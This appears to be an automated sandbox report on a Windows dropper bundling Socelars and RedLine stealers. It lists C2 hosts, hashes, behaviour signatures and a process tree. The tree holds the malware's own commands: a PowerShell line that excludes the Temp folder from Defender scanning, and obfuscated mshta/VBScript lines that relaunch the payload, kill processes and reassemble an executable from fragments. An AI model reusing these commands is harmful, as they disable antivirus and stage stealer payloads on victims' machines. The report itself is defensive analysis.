Analysis
- max time kernel
148s - max time network
147s - platform
windows7_x64 - resource
win7-en-20211014 - submitted
10/11/2021, 02:51
Static task
static1
Behavioral task
behavioral1
Sample
951049989EB772C71EC4FA9F0685AB45CAE755CA5D34C.exe
Resource
win7-en-20211014
0 signatures
0 seconds
General
- Target 951049989EB772C71EC4FA9F0685AB45CAE755CA5D34C.exe
- Size 7.3MB
- Sample211110-db6lnadcfr
- SHA256 951049989eb772c71ec4fa9f0685ab45cae755ca5d34cf3089fd791999fafa1c
- MD5 7ebb0431ce9219a584997a26142c4398
- SHA1 82c340ac9d9b6d2ae685975de48d362b7185c4a8
- SHA512 a7fd820db15cb3d7fa390aa50e8dffd0fd451f20ba9909cf94553d3aad6d4efa1db96af812f7a05e2d717e4cbdf0ef600ae8b9069dbf855573587c686e119d4c
- MD5 SHA1 SHA512
Malware Config
Extracted
Family
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socelars
C2
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http://www.iyiqian.com/
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http://www.hbgents.top/
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http://www.rsnzhy.com/
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http://www.znsjis.top/
Extracted
Family
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redline
Botnet
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jamesoldd
C2
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65.108.20.195:6774
Signatures
- RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
- RedLine Payload 2 IoCs
resource yara_rule behavioral1/memory/1656-201-0x0000000004800000-0x000000000481F000-memory.dmp family_redline behavioral1/memory/1656-206-0x0000000004830000-0x000000000484E000-memory.dmp family_redline - Socelars Payload 1 IoCs
resource yara_rule behavioral1/files/0x0006000000012241-111.dat family_socelars -
resource yara_rule behavioral1/files/0x0006000000012208-71.dat aspack_v212_v242 behavioral1/files/0x0006000000012208-72.dat aspack_v212_v242 behavioral1/files/0x0006000000012206-73.dat aspack_v212_v242 behavioral1/files/0x0006000000012206-74.dat aspack_v212_v242 behavioral1/files/0x000600000001220c-77.dat aspack_v212_v242 behavioral1/files/0x000600000001220c-78.dat aspack_v212_v242 - Executes dropped EXE 11 IoCs
pid Process 572 setup_installer.exe 1952 setup_install.exe 1624 Mon118ed94392.exe 656 Mon11b2a87bc5ae6.exe 540 Mon1171bdf4053512.exe 564 Mon11b50c6fefd69011.exe 1656 Mon118af444344b7.exe 1132 Mon1157e89d13eed5c.exe 1780 Mon11c6a1657c3.exe 1844 Mon11b50c6fefd69011.tmp 2156 09xU.exE - Loads dropped DLL 40 IoCs
pid Process 656 951049989EB772C71EC4FA9F0685AB45CAE755CA5D34C.exe 572 setup_installer.exe 572 setup_installer.exe 572 setup_installer.exe 572 setup_installer.exe 572 setup_installer.exe 572 setup_installer.exe 1952 setup_install.exe 1952 setup_install.exe 1952 setup_install.exe 1952 setup_install.exe 1952 setup_install.exe 1952 setup_install.exe 1952 setup_install.exe 1952 setup_install.exe 1260 cmd.exe 896 cmd.exe 1856 cmd.exe 1856 cmd.exe 1752 cmd.exe 1200 cmd.exe 1200 cmd.exe 656 Mon11b2a87bc5ae6.exe 656 Mon11b2a87bc5ae6.exe 304 cmd.exe 564 Mon11b50c6fefd69011.exe 564 Mon11b50c6fefd69011.exe 1656 Mon118af444344b7.exe 1656 Mon118af444344b7.exe 1540 cmd.exe 1132 Mon1157e89d13eed5c.exe 1132 Mon1157e89d13eed5c.exe 564 Mon11b50c6fefd69011.exe 924 WerFault.exe 924 WerFault.exe 924 WerFault.exe 924 WerFault.exe 2116 cmd.exe 2156 09xU.exE 2156 09xU.exE - Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
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resource yara_rule behavioral1/files/0x0006000000012239-113.dat themida - Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 7 ip-api.com - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
- Program crash 1 IoCs
pid pid_target Process procid_target 924 1952 WerFault.exe 29 - Kills process with taskkill 1 IoCs
pid Process 2168 taskkill.exe - Suspicious behavior: EnumeratesProcesses 7 IoCs
pid Process 924 WerFault.exe 924 WerFault.exe 924 WerFault.exe 924 WerFault.exe 924 WerFault.exe 924 WerFault.exe 1588 powershell.exe - Suspicious behavior: GetForegroundWindowSpam 2 IoCs
pid Process 656 Mon11b2a87bc5ae6.exe 924 WerFault.exe - Suspicious use of AdjustPrivilegeToken 4 IoCs
description pid Process Token: SeDebugPrivilege 924 WerFault.exe Token: SeDebugPrivilege 1588 powershell.exe Token: SeDebugPrivilege 2168 taskkill.exe Token: SeDebugPrivilege 1624 Mon118ed94392.exe - Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 656 wrote to memory of 572 656 951049989EB772C71EC4FA9F0685AB45CAE755CA5D34C.exe 28 PID 656 wrote to memory of 572 656 951049989EB772C71EC4FA9F0685AB45CAE755CA5D34C.exe 28 PID 656 wrote to memory of 572 656 951049989EB772C71EC4FA9F0685AB45CAE755CA5D34C.exe 28 PID 656 wrote to memory of 572 656 951049989EB772C71EC4FA9F0685AB45CAE755CA5D34C.exe 28 PID 656 wrote to memory of 572 656 951049989EB772C71EC4FA9F0685AB45CAE755CA5D34C.exe 28 PID 656 wrote to memory of 572 656 951049989EB772C71EC4FA9F0685AB45CAE755CA5D34C.exe 28 PID 656 wrote to memory of 572 656 951049989EB772C71EC4FA9F0685AB45CAE755CA5D34C.exe 28 PID 572 wrote to memory of 1952 572 setup_installer.exe 29 PID 572 wrote to memory of 1952 572 setup_installer.exe 29 PID 572 wrote to memory of 1952 572 setup_installer.exe 29 PID 572 wrote to memory of 1952 572 setup_installer.exe 29 PID 572 wrote to memory of 1952 572 setup_installer.exe 29 PID 572 wrote to memory of 1952 572 setup_installer.exe 29 PID 572 wrote to memory of 1952 572 setup_installer.exe 29 PID 1952 wrote to memory of 1772 1952 setup_install.exe 31 PID 1952 wrote to memory of 1772 1952 setup_install.exe 31 PID 1952 wrote to memory of 1772 1952 setup_install.exe 31 PID 1952 wrote to memory of 1772 1952 setup_install.exe 31 PID 1952 wrote to memory of 1772 1952 setup_install.exe 31 PID 1952 wrote to memory of 1772 1952 setup_install.exe 31 PID 1952 wrote to memory of 1772 1952 setup_install.exe 31 PID 1952 wrote to memory of 1752 1952 setup_install.exe 32 PID 1952 wrote to memory of 1752 1952 setup_install.exe 32 PID 1952 wrote to memory of 1752 1952 setup_install.exe 32 PID 1952 wrote to memory of 1752 1952 setup_install.exe 32 PID 1952 wrote to memory of 1752 1952 setup_install.exe 32 PID 1952 wrote to memory of 1752 1952 setup_install.exe 32 PID 1952 wrote to memory of 1752 1952 setup_install.exe 32 PID 1952 wrote to memory of 1856 1952 setup_install.exe 33 PID 1952 wrote to memory of 1856 1952 setup_install.exe 33 PID 1952 wrote to memory of 1856 1952 setup_install.exe 33 PID 1952 wrote to memory of 1856 1952 setup_install.exe 33 PID 1952 wrote to memory of 1856 1952 setup_install.exe 33 PID 1952 wrote to memory of 1856 1952 setup_install.exe 33 PID 1952 wrote to memory of 1856 1952 setup_install.exe 33 PID 1952 wrote to memory of 1632 1952 setup_install.exe 34 PID 1952 wrote to memory of 1632 1952 setup_install.exe 34 PID 1952 wrote to memory of 1632 1952 setup_install.exe 34 PID 1952 wrote to memory of 1632 1952 setup_install.exe 34 PID 1952 wrote to memory of 1632 1952 setup_install.exe 34 PID 1952 wrote to memory of 1632 1952 setup_install.exe 34 PID 1952 wrote to memory of 1632 1952 setup_install.exe 34 PID 1952 wrote to memory of 1076 1952 setup_install.exe 35 PID 1952 wrote to memory of 1076 1952 setup_install.exe 35 PID 1952 wrote to memory of 1076 1952 setup_install.exe 35 PID 1952 wrote to memory of 1076 1952 setup_install.exe 35 PID 1952 wrote to memory of 1076 1952 setup_install.exe 35 PID 1952 wrote to memory of 1076 1952 setup_install.exe 35 PID 1952 wrote to memory of 1076 1952 setup_install.exe 35 PID 1952 wrote to memory of 1260 1952 setup_install.exe 36 PID 1952 wrote to memory of 1260 1952 setup_install.exe 36 PID 1952 wrote to memory of 1260 1952 setup_install.exe 36 PID 1952 wrote to memory of 1260 1952 setup_install.exe 36 PID 1952 wrote to memory of 1260 1952 setup_install.exe 36 PID 1952 wrote to memory of 1260 1952 setup_install.exe 36 PID 1952 wrote to memory of 1260 1952 setup_install.exe 36 PID 1952 wrote to memory of 956 1952 setup_install.exe 37 PID 1952 wrote to memory of 956 1952 setup_install.exe 37 PID 1952 wrote to memory of 956 1952 setup_install.exe 37 PID 1952 wrote to memory of 956 1952 setup_install.exe 37 PID 1952 wrote to memory of 956 1952 setup_install.exe 37 PID 1952 wrote to memory of 956 1952 setup_install.exe 37 PID 1952 wrote to memory of 956 1952 setup_install.exe 37 PID 1952 wrote to memory of 1268 1952 setup_install.exe 38
Processes
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C:\Users\Admin\AppData\Local\Temp\951049989EB772C71EC4FA9F0685AB45CAE755CA5D34C.exe"C:\Users\Admin\AppData\Local\Temp\951049989EB772C71EC4FA9F0685AB45CAE755CA5D34C.exe"1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:656 -
C:\Users\Admin\AppData\Local\Temp\setup_installer.exe"C:\Users\Admin\AppData\Local\Temp\setup_installer.exe"2⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:572 -
C:\Users\Admin\AppData\Local\Temp\7zSC32378C5\setup_install.exe"C:\Users\Admin\AppData\Local\Temp\7zSC32378C5\setup_install.exe"3⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1952 -
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"4⤵PID:1772
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"5⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1588
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C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Mon1171bdf4053512.exe4⤵
- Loads dropped DLL
PID:1752 -
C:\Users\Admin\AppData\Local\Temp\7zSC32378C5\Mon1171bdf4053512.exeMon1171bdf4053512.exe5⤵
- Executes dropped EXE
PID:540
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C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Mon11b2a87bc5ae6.exe /mixone4⤵
- Loads dropped DLL
PID:1856 -
C:\Users\Admin\AppData\Local\Temp\7zSC32378C5\Mon11b2a87bc5ae6.exeMon11b2a87bc5ae6.exe /mixone5⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious behavior: GetForegroundWindowSpam
PID:656
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C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Mon1182b0194f4f89e7.exe4⤵PID:1632
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C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Mon11cfa41b22c520d.exe4⤵PID:1076
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C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Mon118ed94392.exe4⤵
- Loads dropped DLL
PID:1260 -
C:\Users\Admin\AppData\Local\Temp\7zSC32378C5\Mon118ed94392.exeMon118ed94392.exe5⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:1624
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C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Mon11fbe0c8a7f0b4a47.exe4⤵PID:956
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C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Mon11e73d87d47b7.exe4⤵PID:1268
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C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Mon112667aa79a82a20.exe4⤵PID:1064
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C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Mon1157e89d13eed5c.exe4⤵
- Loads dropped DLL
PID:304 -
C:\Users\Admin\AppData\Local\Temp\7zSC32378C5\Mon1157e89d13eed5c.exeMon1157e89d13eed5c.exe5⤵
- Executes dropped EXE
- Loads dropped DLL
PID:1132 -
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" VbsCRiPT: cLosE (CrEaTeOBJeCt ( "WScrIPT.SheLL" ).RuN ("CMD.exe /c copy /y ""C:\Users\Admin\AppData\Local\Temp\7zSC32378C5\Mon1157e89d13eed5c.exe"" 09xU.exE && STarT 09xU.EXE -pPtzyIkqLZoCarb5ew & If """" =="""" for %U iN ( ""C:\Users\Admin\AppData\Local\Temp\7zSC32378C5\Mon1157e89d13eed5c.exe"") do taskkill /F -Im ""%~NxU"" " , 0 , tRUe) )6⤵PID:1476
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C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c copy /y "C:\Users\Admin\AppData\Local\Temp\7zSC32378C5\Mon1157e89d13eed5c.exe" 09xU.exE &&STarT 09xU.EXE -pPtzyIkqLZoCarb5ew & If "" =="" for %U iN ( "C:\Users\Admin\AppData\Local\Temp\7zSC32378C5\Mon1157e89d13eed5c.exe") do taskkill /F -Im "%~NxU"7⤵
- Loads dropped DLL
PID:2116 -
C:\Users\Admin\AppData\Local\Temp\09xU.exE09xU.EXE -pPtzyIkqLZoCarb5ew8⤵
- Executes dropped EXE
- Loads dropped DLL
PID:2156 -
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" VbsCRiPT: cLosE (CrEaTeOBJeCt ( "WScrIPT.SheLL" ).RuN ("CMD.exe /c copy /y ""C:\Users\Admin\AppData\Local\Temp\09xU.exE"" 09xU.exE && STarT 09xU.EXE -pPtzyIkqLZoCarb5ew & If ""-pPtzyIkqLZoCarb5ew "" =="""" for %U iN ( ""C:\Users\Admin\AppData\Local\Temp\09xU.exE"") do taskkill /F -Im ""%~NxU"" " , 0 , tRUe) )9⤵PID:2200
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C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c copy /y "C:\Users\Admin\AppData\Local\Temp\09xU.exE" 09xU.exE &&STarT 09xU.EXE -pPtzyIkqLZoCarb5ew & If "-pPtzyIkqLZoCarb5ew " =="" for %U iN ( "C:\Users\Admin\AppData\Local\Temp\09xU.exE") do taskkill /F -Im "%~NxU"10⤵PID:2280
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C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" vbScRipT: cloSE ( creAteobjECT ( "WscriPT.SHell" ). RuN ( "cMd.exE /Q /r eCHO | SET /P = ""MZ"" > ScMeAP.SU & CoPY /b /Y ScMeAp.SU + 20L2VNO.2 + gUVIl5.SCH + 7TCInEJp.0 + yKIfDQA.1 r6f7sE.I & StART control .\R6f7sE.I " ,0,TRuE) )9⤵PID:2368
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C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /Q /r eCHO | SET /P = "MZ" > ScMeAP.SU &CoPY /b /Y ScMeAp.SU + 20L2VNO.2 + gUVIl5.SCH +7TCInEJp.0 + yKIfDQA.1 r6f7sE.I& StART control .\R6f7sE.I10⤵PID:2452
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C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" eCHO "11⤵PID:2492
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C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" SET /P = "MZ" 1>ScMeAP.SU"11⤵PID:2504
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C:\Windows\SysWOW64\taskkill.exetaskkill /F -Im "Mon1157e89d13eed5c.exe"8⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:2168
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C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Mon11c6a1657c3.exe4⤵
- Loads dropped DLL
PID:1540 -
C:\Users\Admin\AppData\Local\Temp\7zSC32378C5\Mon11c6a1657c3.exeMon11c6a1657c3.exe5⤵
- Executes dropped EXE
PID:1780
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C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Mon118af444344b7.exe4⤵
- Loads dropped DLL
PID:1200 -
C:\Users\Admin\AppData\Local\Temp\7zSC32378C5\Mon118af444344b7.exeMon118af444344b7.exe5⤵
- Executes dropped EXE
- Loads dropped DLL
PID:1656
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C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Mon11f8437179.exe4⤵PID:1640
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C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Mon11b50c6fefd69011.exe4⤵
- Loads dropped DLL
PID:896 -
C:\Users\Admin\AppData\Local\Temp\7zSC32378C5\Mon11b50c6fefd69011.exeMon11b50c6fefd69011.exe5⤵
- Executes dropped EXE
- Loads dropped DLL
PID:564 -
C:\Users\Admin\AppData\Local\Temp\is-5J9JA.tmp\Mon11b50c6fefd69011.tmp"C:\Users\Admin\AppData\Local\Temp\is-5J9JA.tmp\Mon11b50c6fefd69011.tmp" /SL5="$5012A,239846,156160,C:\Users\Admin\AppData\Local\Temp\7zSC32378C5\Mon11b50c6fefd69011.exe"6⤵
- Executes dropped EXE
PID:1844
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1952 -s 4684⤵
- Loads dropped DLL
- Program crash
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
PID:924
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